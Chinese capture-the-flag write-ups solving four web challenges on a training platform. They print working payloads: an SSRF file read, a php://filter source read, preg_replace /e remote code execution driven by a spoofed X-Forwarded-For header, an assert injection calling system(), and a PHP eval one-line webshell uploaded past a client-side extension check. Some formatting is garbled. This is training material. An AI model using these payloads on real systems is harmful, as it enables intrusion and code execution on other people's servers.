- 难度系数 1.0
- 题目来源:
XCTF 4th-WHCTF-2017
- 题目描述: 抓住那只猫
- 题目场景: http://111.198.29.45:43180/ 具体参见攻防世界
- 题目附件:无
通过尝试应该可以发现,URL后面加:
- 正常url, 好像没什么反应,(查看官方writeup,说返回ping结果)
- 非法URL(特殊符号),返回
Invalid URL
- URL编码超过%80,返回Django报错
3. 队报错代码进行代码审计,可以得到有关数据库的相关信息,获得数据库径/opt/api/database.sqlite3
4. 使用@+文件名来读取本地文件,构造payload:
http://111.198.29.45:43180/index.php?url=@/opt/api/database.sqlite3
ctf
得到flag, AWHCTF{yoooo_Such_A_G00D_@}
官方用curl
构造payload
curl 'http://111.198.29.45:43180/index.php?url=@/opt/api/database.sqlite3' | xxd | grep -A 5 -B 5 WHCTF
- 难度系数 1.0
- 题目来源:
XCTF 4th-CyberEarth
- 题目描述: 其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
- 题目场景: http://111.198.29.45:43227/ 具体参见攻防世界
- 题目附件:无
2. 再点击云平台设备维护中心
, 发现地址栏url变了,并且页面中出现index字样
3. 想到可以,利用php://filter
伪协议读取页面源码
http://111.198.29.45:31639/index.php?page=php://filter/convert.base64-encode/resource=index.php
base64解码后,进行代码审计获取到有用信息
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "
Welcome My Admin !
";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
preg_replace:(PHP 5.5)
功能 : 函数执行一个正则表达式的搜索和替换
定义 : mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int KaTeX parse error: Expected 'EOF', got '&' at position 19: …it = -1 [, int &̲count ]] )
搜索 subject 中匹配 pattern 的部分, 如果匹配成功以 replacement 进行替换
p a t t e r n 存 在 / e 模 式 修 正 符 , 如 果 pattern 存在 /e 模式修正符,如果 pattern存在/e模式修正符,如果pattern 和 $subject匹配, preg_replace会将 $replacement当做代码来执行
6.打开burpsuit,构造payload,尝试获取文件目录
7. 看到s3chahahaDir
很可疑,进去看看
*注意+
代表空格,%26%26为&&
的url编码,表示执行完cd s3chahahaDir
后,接着执行ls
8. 发现flag目录,接着进去瞧瞧
9. 发现flag.php, 用cat 命令读取,发现flag
- 难度系数 1.0
- 题目来源: **csaw-ctf-2016-quals **
- 题目描述: 无
- 题目场景: http://111.198.29.45:40481/ 具体参见攻防世界
- 题目附件:无
"navbar" class="collapse navbar-collapse">
"nav navbar-nav">
- "active">"?page=home">Home
- "?page=about">About
- "?page=contact">Contact
http://111.198.29.45:40481/?page=flag
访问并没有什么发现dirsearch
扫一下后台,发现git目录python3 dirsearch.py -u http://111.198.29.45:40481/ -e php
4. GitHack 将源码下载下来, 对index.php
进行代码审计(其他页面都看了,没有什么发现)
python27 GitHack.py http://111.198.29.45:40481/.git/
index.php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
file
变量动点手脚,因为并没有函数对file
进行过滤,而file
变量主要有传入的page
变量构成,所以构造payload?page=abc') or system("cat templates/flag.php");//
完整的页面访问路径为:
http://111.198.29.45:40481/?page=abc') or system("cat templates/flag.php");//
- 难度系数 1.0
- 题目来源:
- 题目描述: 无
- 题目场景: http://111.198.29.45:42110 具体参见攻防世界
- 题目附件:无
<script type="text/javascript">
Array.prototype.contains = function (obj) {
var i = this.length;
while (i--) {
if (this[i] === obj) {
return true;
}
}
return false;
}
function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');
if(['jpg','png'].contains(ext)){
submit.disabled = false;
}else{
submit.disabled = true;
alert('请选择一张图片文件上传!');
}
}
</script>
1.jpg
, 内容为php一句话 @eval($_POST['cmd']);?>